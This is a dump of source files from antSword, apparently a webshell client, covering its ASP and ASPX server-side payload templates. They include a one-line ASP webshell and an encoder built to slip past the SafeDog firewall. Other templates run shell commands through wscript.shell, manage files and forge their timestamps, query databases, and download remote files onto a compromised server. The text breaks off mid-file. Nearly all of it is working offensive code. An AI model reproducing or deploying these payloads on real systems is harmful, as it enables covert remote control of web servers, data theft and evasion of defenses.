  {
    "path": "antSword/source/core/asp/encoder/xxxxdog.js",
    "content": "// \n// asp::xxxx 编码模块\n// \n// :把eval替换成 xxxx 用于过狗\n//\n// 服务端：<%Function xxxx(str) eval str End Function%><%D = request(\"ant\")%><%xxxx D%>\n// 密码：ant\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  data[pwd] = data['_'].replace(/eval/ig, 'xxxx');\n  delete data['_'];\n  return data;\n}"
  },
  {
    "path": "antSword/source/core/asp/index.js",
    "content": "/**\n * ASP服务端脚本模板\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n */\n'use strict';\n\n// import Base from '../base';\nconst Base = require('../base');\n\nclass ASP extends Base {\n\n  constructor(opts) {\n    super(opts);\n    // 解析模板\n    [\n      'base', 'command', 'filemanager',\n      'database/dsn', 'database/mysql',\n      'database/access', 'database/oracle',\n      'database/sqlserver', 'database/sqloledb_1',\n      'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'\n    ].map((_) => {\n      this.parseTemplate(`./asp/template/${_}`);\n    });\n    // 解析编码器\n    this.encoders.map((_) => {\n      this.parseEncoder(`./asp/encoder/${_}`);\n    });\n  }\n\n  /**\n   * 获取编码器列表\n   * @return {array} 编码器列表\n   */\n  get encoders() {\n    return ['xxxxdog'];\n  }\n\n  /**\n   * HTTP请求数据组合函数\n   * @param  {Object} data 通过模板解析后的代码对象\n   * @return {Promise}     返回一个Promise操作对象\n   */\n  complete(data) {\n    // 分隔符号\n    let tag_s = '->|';\n    let tag_e = '|<-';\n\n    // let formatter = new this.format(this.__opts__['encode']);\n    let formatter = Base.prototype.format(this.__opts__['encode']);\n\n    // hex编码一次数据\n    let hexCode = formatter['hex'](data['_']);\n\n    // 组合完整的代码\n    data['_'] = `eval(\"Ex\"&cHr(101)&\"cute(\"\"Server.ScriptTimeout=3600:On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&\"\"\"\")\"\"\"\"):Else:Execute(\"\"\"\"bd=bd&chr(&H\"\"\"\"&c&Mid(s,i+2,2)&\"\"\"\")\"\"\"\"):i=i+2:End If\"\"&chr(10)&\"\"Next:End Function:Response.Write(\"\"\"\"${tag_s}\"\"\"\"):Ex\"&cHr(101)&\"cute(\"\"\"\"On Error Resume Next:\"\"\"\"&bd(\"\"\"\"${hexCode}\"\"\"\")):Response.Write(\"\"\"\"${tag_e}\"\"\"\"):Response.End\"\")\")`;\n\n    // 使用编码器进行处理并返回\n    return this.encodeComplete(tag_s, tag_e, data);\n  }\n}\n\nmodule.exports = ASP;\n"
  },
  {
    "path": "antSword/source/core/asp/template/base.js",
    "content": "/**\n * 基础信息模板\n * ? 获取当前路径、盘符列表\n */\n\nmodule.exports = () => ({\n  info:\n    `Dim S:SET C=CreateObject(\"Scripting.FileSystemObject\"):If Err Then:S=\"ERROR:// \"&Err.Description:Err.Clear:Else:S=Server.Mappath(\".\")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/command.js",
    "content": "/**\n * 命令执行模板\n */\n\nmodule.exports = (arg1, arg2) => ({\n  exec: {\n    _:\n      `Set X=CreateObject(\"wscript.shell\").exec(\"\"\"\"&bd(Request(\"${arg1}\"))&\"\"\" /c \"\"\"&bd(Request(\"${arg2}\"))&\"\"\"\"):If Err Then:S=\"[Err] \"&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,\n    [arg1]: \"#{hex::bin}\",\n    [arg2]: \"#{hex::cmd}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/database/access.js",
    "content": "/**\n * ASP::access数据库驱动代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open bd(Request(\"${arg1}\")):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:SI=Request(\"${arg2}\")&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{dbname}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI=\"\":Do While Not Rs.Eof:If Rs(\"TABLE_TYPE\")=\"TABLE\" Then:SI=SI&Rs(\"TABLE_NAME\")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `Function TN(n):Select Case n:Case 2:TN=\"smallint\":Case 3:TN=\"int\":Case 4:TN=\"real\":Case 5:TN=\"float\":Case 6:TN=\"money\":Case 7:TN=\"datetime\":Case 11:TN=\"bit\":Case 12:TN=\"variant\":Case 16:TN=\"tinyint\":Case 17:TN=\"tinyint\":Case 20:TN=\"bigint\":Case 72:TN=\"unique\":Case 128:TN=\"binary\":Case 129:TN=\"char\":Case 130:TN=\"nchar\":Case 131:TN=\"numeric\":Case 135:TN=\"datetime\":Case 200:TN=\"varchar\":Case 201:TN=\"text\":Case 202:TN=\"nvarchar\":Case 203:TN=\"ntext\":Case 204:TN=\"varbinary\":Case 205:TN=\"image\":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=CreateObject(\"Adodb.Recordset\"):Rs.open \"\"&bd(Request(\"${arg2}\"))&\"\",Conn,1,1:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&\" (\"&TN(Rs.Fields.Item(n).Type)&\")\"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD=\"Result\"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(\"\"&bd(Request(\"${arg2}\"))&\"\"):If Err Then:Response.Write HD&Err.Number&\":\"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/database/default.js",
    "content": "/**\n * 默认数据库操作代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open bd(Request(\"${arg1}\")):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:SI=\"[ADO DATABASE]\"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI=\"\":Do While Not Rs.Eof:If Rs(\"TABLE_TYPE\")=\"TABLE\" Then:SI=SI&Rs(\"TABLE_NAME\")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `Function TN(n):Select Case n:Case 2:TN=\"smallint\":Case 3:TN=\"int\":Case 4:TN=\"real\":Case 5:TN=\"float\":Case 6:TN=\"money\":Case 7:TN=\"datetime\":Case 11:TN=\"bit\":Case 12:TN=\"variant\":Case 16:TN=\"tinyint\":Case 17:TN=\"tinyint\":Case 20:TN=\"bigint\":Case 72:TN=\"unique\":Case 128:TN=\"binary\":Case 129:TN=\"char\":Case 130:TN=\"nchar\":Case 131:TN=\"numeric\":Case 135:TN=\"datetime\":Case 200:TN=\"varchar\":Case 201:TN=\"text\":Case 202:TN=\"nvarchar\":Case 203:TN=\"ntext\":Case 204:TN=\"varbinary\":Case 205:TN=\"image\":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=CreateObject(\"Adodb.Recordset\"):Rs.open \"\"&bd(Request(\"${arg2}\"))&\"\",Conn,1,1:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&\" (\"&TN(Rs.Fields.Item(n).Type)&\")\"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD=\"Result\"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(\"\"&bd(Request(\"${arg2}\"))&\"\"):If Err Then:Response.Write HD&Err.Number&\":\"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/database/dsn.js",
    "content": "// \n// ASP::DNS数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/asp/template/database/microsoft_jet_oledb_4_0.js",
    "content": "// \n// ASP::microsoft_jet_oledb_4_0数据库驱动代码模板\n// \n\nmodule.exports = require('./access');"
  },
  {
    "path": "antSword/source/core/asp/template/database/mysql.js",
    "content": "// \n// ASP::mysql数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/asp/template/database/oracle.js",
    "content": "/**\n * ASP::oracle数据库驱动代码模板\n */\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open bd(Request(\"${arg1}\")):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:SI=\"[ADO DATABASE]\"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute(\"SELECT TABLE_NAME FROM ALL_TABLES\"):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `Function TN(n):Select Case n:Case 2:TN=\"smallint\":Case 3:TN=\"int\":Case 4:TN=\"real\":Case 5:TN=\"float\":Case 6:TN=\"money\":Case 7:TN=\"datetime\":Case 11:TN=\"bit\":Case 12:TN=\"variant\":Case 16:TN=\"tinyint\":Case 17:TN=\"tinyint\":Case 20:TN=\"bigint\":Case 72:TN=\"unique\":Case 128:TN=\"binary\":Case 129:TN=\"char\":Case 130:TN=\"nchar\":Case 131:TN=\"numeric\":Case 135:TN=\"datetime\":Case 200:TN=\"varchar\":Case 201:TN=\"text\":Case 202:TN=\"nvarchar\":Case 203:TN=\"ntext\":Case 204:TN=\"varbinary\":Case 205:TN=\"image\":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=CreateObject(\"Adodb.Recordset\"):Rs.open \"\"&bd(Request(\"${arg2}\"))&\"\",Conn,1,1:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&\" (\"&TN(Rs.Fields.Item(n).Type)&\")\"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD=\"Result\"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(\"\"&bd(Request(\"${arg2}\"))&\"\"):If Err Then:Response.Write HD&Err.Number&\":\"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/database/sqloledb_1.js",
    "content": "// \n// ASP::sqloledb_1数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/asp/template/database/sqloledb_1_sspi.js",
    "content": "// \n// ASP::sqloledb_1_sspi数据库驱动代码模板\n// \n\nmodule.exports = require('./default');"
  },
  {
    "path": "antSword/source/core/asp/template/database/sqlserver.js",
    "content": "//\n// ASP::mysql数据库驱动代码模板\n//\n\nmodule.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({\n  // 显示所有数据库\n  show_databases: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open bd(Request(\"${arg1}\")):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=CreateObject(\"Adodb.Recordset\"):Rs.open \"select [name] from master.dbo.sysdatabases order by 1\",Conn,1,1:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}'\n  },\n  // 显示数据库所有表\n  show_tables: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=Conn.Execute(\"USE [\"&Request(\"${arg2}\")&\"];SELECT [name] FROM sysobjects WHERE (xtype=\\'U\\') ORDER BY 1\"):If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Do While Not(Rs.Eof Or Rs.Bof):SI=SI&Rs(0)&chr(9):Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{dbname}'\n  },\n  // 显示表字段\n  show_columns: {\n    _:\n      `Function TN(n):Select Case n:Case 2:TN=\"smallint\":Case 3:TN=\"int\":Case 4:TN=\"real\":Case 5:TN=\"float\":Case 6:TN=\"money\":Case 7:TN=\"datetime\":Case 11:TN=\"bit\":Case 12:TN=\"variant\":Case 16:TN=\"tinyint\":Case 17:TN=\"tinyint\":Case 20:TN=\"bigint\":Case 72:TN=\"unique\":Case 128:TN=\"binary\":Case 129:TN=\"char\":Case 130:TN=\"nchar\":Case 131:TN=\"numeric\":Case 135:TN=\"datetime\":Case 200:TN=\"varchar\":Case 201:TN=\"text\":Case 202:TN=\"nvarchar\":Case 203:TN=\"ntext\":Case 204:TN=\"varbinary\":Case 205:TN=\"image\":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject(\"Adodb.connection\"):Dim SI:Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:Set Rs=CreateObject(\"Adodb.Recordset\"):Rs.open \"\"&bd(Request(\"${arg2}\"))&\"\",Conn,1,1:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&\" (\"&TN(Rs.Fields.Item(n).Type)&\")\"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::table}'\n  },\n  // 执行SQL语句\n  query: {\n    _:\n      `Set Conn=Server.CreateObject(\"Adodb.connection\"):Conn.Open \"\"&bd(Request(\"${arg1}\"))&\"\":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD=\"Result\"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(\"\"&bd(Request(\"${arg2}\"))&\"\"):If Err Then:Response.Write HD&Err.Number&\":\"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,\n    [arg1]: '#{hex::conn}',\n    [arg2]: '#{hex::sql}',\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/asp/template/filemanager.js",
    "content": "/**\n * 文件管理模板\n */\n\nmodule.exports = (arg1, arg2, arg3) => ({\n  dir: {\n    _:\n      `Dim RR:RR=bd(Request(\"${arg1}\")):Function FD(dt):FD=Year(dt)&\"-\":If Len(Month(dt))=1 Then:FD = FD&\"0\":End If:FD=FD&Month(dt)&\"-\":If Len(Day(dt))=1 Then:FD=FD&\"0\":End If:FD=FD&Day(dt)&\" \"&FormatDateTime(dt,4)&\":\":If Len(Second(dt))=1 Then:FD=FD&\"0\":End If:FD=FD&Second(dt):End Function:SET C=CreateObject(\"Scripting.FileSystemObject\"):Set FO=C.GetFolder(\"\"&RR&\"\"):If Err Then:Response.Write(\"ERROR:// \"&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If`,\n    [arg1]: \"#{hex::path}\"\n  },\n\n  delete: {\n    _:\n      `Dim P:P=bd(Request(\"${arg1}\")):Set FS=CreateObject(\"Scripting.FileSystemObject\"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":Response.Write(S):End If`,\n    [arg1]: \"#{hex::path}\"\n  },\n\n  create_file: {\n    _:\n      `CreateObject(\"Scripting.FileSystemObject\").CreateTextFile(\"\"&bd(Request(\"${arg1}\"))&\"\").Write(\"\"&bd(Request(\"${arg2}\"))&\"\"):If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":Response.Write(S):End If`,\n    [arg1]: \"#{hex::path}\",\n    [arg2]: \"#{hex::content}\"\n  },\n\n  read_file: {\n    _:\n      `Response.Write(CreateObject(\"Scripting.FileSystemObject\").OpenTextfile(bd(Request(\"${arg1}\")),1,False).readall):If Err Then:Response.Write(\"ERROR:// \"&Err.Description):Err.Clear:End If`,\n    [arg1]: \"#{hex::path}\"\n  },\n\n  copy: {\n    _:\n      `SF=bd(Request(\"${arg1}\")):DF=bd(Request(\"${arg2}\")):Set Fs=CreateObject(\"Scripting.FileSystemObject\"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI=\"ERROR:// \"&Err.Description:else:SI=\"1\":End If:Response.Write(SI)`,\n    [arg1]: \"#{hex::path}\",\n    [arg2]: \"#{hex::target}\"\n  },\n\n  download_file: {\n    _:\n      `Dim i,c,r:Set S=Server.CreateObject(\"Adodb.Stream\"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile(bd(Request(\"${arg1}\"))):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite \"ERROR:// \"&Err.Description:End If`,\n    [arg1]: \"#{hex::path}\"\n  },\n\n  upload_file: {\n    _:\n      `Dim l,ss,ff,T:ff=bd(request(\"${arg1}\")):ss=Request(\"${arg2}\"):l=Len(ss):Set S=Server.CreateObject(\"Adodb.Stream\"):With S:.Type=1:.Mode=3:.Open:On Error Resume Next:.LoadFromFile \"\"&ff&\"\":.Position=.Size:If Err Then:Err.Clear:End If:set rs=CreateObject(\"ADODB.Recordset\"):rs.fields.append \"bb\",205,l/2:rs.open:rs.addnew:rs(\"bb\")=ss+chrb(0):rs.update:.Write rs(\"bb\").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile \"\"&ff&\"\",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T=\"1\":End If:Response.Write(T)`,\n    [arg1]: \"#{hex::path}\",\n    [arg2]: \"#{buffer::content}\",\n    [arg3]: \"1\"\n  },\n\n  rename: {\n    _:\n      `SF=bd(Request(\"${arg1}\")):DF=bd(Request(\"${arg2}\")):Set Fs=CreateObject(\"Scripting.FileSystemObject\"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI=\"ERROR:// \"&Err.Description:Else:SI=\"1\":End If:Response.Write(SI)`,\n    [arg1]: \"#{hex::path}\",\n    [arg2]: \"#{hex::name}\"\n  },\n\n  retime: {\n    _:\n      `FN=bd(Request(\"${arg1}\")):TM=bd(Request(\"${arg2}\")):AA=Split(FN,\"\\\\\"):PT=\"\":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&\"\\\\\":Next:NM=AA(UBound(AA)):Server.CreateObject(\"Shell.Application\").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI=\"ERROR:// \"&PT&Err.Description:Err.Clear:Else:SI=\"1\":End If:Response.Write(SI)`,\n    [arg1]: \"#{hex::path}\",\n    [arg2]: \"#{hex::time}\"\n  },\n\n  mkdir: {\n    _:\n      `Set Fs=CreateObject(\"Scripting.FileSystemObject\"):Fs.CreateFolder(bd(Request(\"${arg1}\"))):Set Fs=Nothing:If Err Then:S=\"ERROR:// \"&Err.Description:Else:S=\"1\":End If:Response.Write(S)`,\n    [arg1]: \"#{hex::path}\"\n  },\n\n  wget: {\n    _:\n      `Dim SI:Set x=CreateObject(\"Microsoft.XMLHTTP\"):x.Open \"GET\",\"\"&bd(Request(\"${arg1}\"))&\"\",0:x.Send():If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:set s=CreateObject(\"ADODB.Stream\"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile \"\"&bd(Request(\"${arg2}\"))&\"\",2:If Err Then:SI=\"ERROR:// \"&Err.Description:Err.Clear:Else:SI=\"1\":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)`,\n    [arg1]: \"#{hex::url}\",\n    [arg2]: \"#{hex::path}\"\n  }\n})\n"
  },
  {
    "path": "antSword/source/core/aspx/encoder/base64.js",
    "content": "// \n// aspx::base64 编码模块\n// \n// :把除了密码的其他参数都base64编码一次\n// \n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n  let randomID = `_0x${Math.random().toString(16).substr(2)}`;\n  data[randomID] = new Buffer(data['_']).toString('base64');\n  data[pwd] = `eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item[\"${randomID}\"])),\"unsafe\");`;\n  delete data['_'];\n  return data;\n}"
  },
  {
    "path": "antSword/source/core/aspx/encoder/hex.js",
    "content": "// \n// aspx::hex 编码模块\n// \n// 把除了密码的其他参数都 hex 编码一次\n// \n\n'use strict';\n\nmodule.exports = (pwd, data) => {\n\n    let randomID = `_0x${Math.random().toString(16).substr(2)}`;\n    let hexencoder = \"function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};\";\n    data[randomID] = new Buffer(data['_']).toString('hex');\n    data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item[\"${randomID}\"]),\"unsafe\");`;\n    delete data['_'];\n    return data;\n}"
  },
  {
    "path": "antSword/source/core/aspx/index.js",
    "content": "/**\n * ASPX服务端脚本模板\n * 开写：2016/04/12\n * 更新：-\n * 作者：蚁逅 <https://github.com/antoor>\n *\n * 更新: 2016/04/23\n *     - 优化 aspx 编码规则\n * 作者：Medici.Yan <https://github.com/Medicean>\n */\n'use strict';\n\n// import Base from '../base';\nconst Base = require('../base');\n\nclass ASPX extends Base {\n  constructor(opts) {\n    super(opts);\n    // 解析模板\n    [\n      'base', 'command', 'filemanager',\n      'database/dsn', 'database/mysql',\n      'database/access', 'database/oracle',\n      'database/sqlserver', 'database/sqloledb_1',\n      'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0'\n    ].map((_) => {\n      this.parseTemplate(`./aspx/template/${_}`);\n    });\n    // 解析编码器\n    this.encoders.map((_) => {\n      this.parseEncoder(`./aspx/encoder/${_}`);\n    });\n  }\n\n  /**\n   * 获取编码器列表\n   * @return {array} 编码器列表\n   */\n  get encoders() {\n    return [\"base64\",\"hex\"];\n  }\n\n  /**\n   * HTTP请求数据组合函数\n   * @param  {Object} data 通过模板解析后的代码对象\n   * @return {Promise}     返回一个Promise操作对象\n   */\n  complete(data) {\n    // 分隔符号\n    let tag_s = '->|';\n    let tag_e = '|<-';\n\n    // let formatter = new this.format(this.__opts__['encode']);\n    let formatter = Base.prototype.format(this.__opts__['encode']);\n\n    let aspxencode = this.__opts__['encode'];\n\n    switch(this.__opts__['encode']) {\n      case \"UTF8\":\n        aspxencode = \"UTF-8\";\n        break;\n      default:\n        break;\n    }\n    // 替换代码中的 GetEncoding(\"!{ANT::ENDOCE}\").GetString 的 tag\n    data['_'] = data['_'].replace(/!{ANT::ENDOCE}/g, aspxencode);\n    // base64编码一次数据\n    let base64Code = formatter['base64'](data['_']);\n\n    data['_'] = `Response.Write(\"${tag_s}\");var err:Exception;try{eval(System.Text.Encoding.GetEncoding(\"${aspxencode}\").GetString(System.Convert.FromBase64String(\"${base64Code}\")),\"unsafe\");}catch(err){Response.Write(\"ERROR:// \"+err.message);}Response.Write(\"${tag_e}\");Response.End();`;\n\n    // 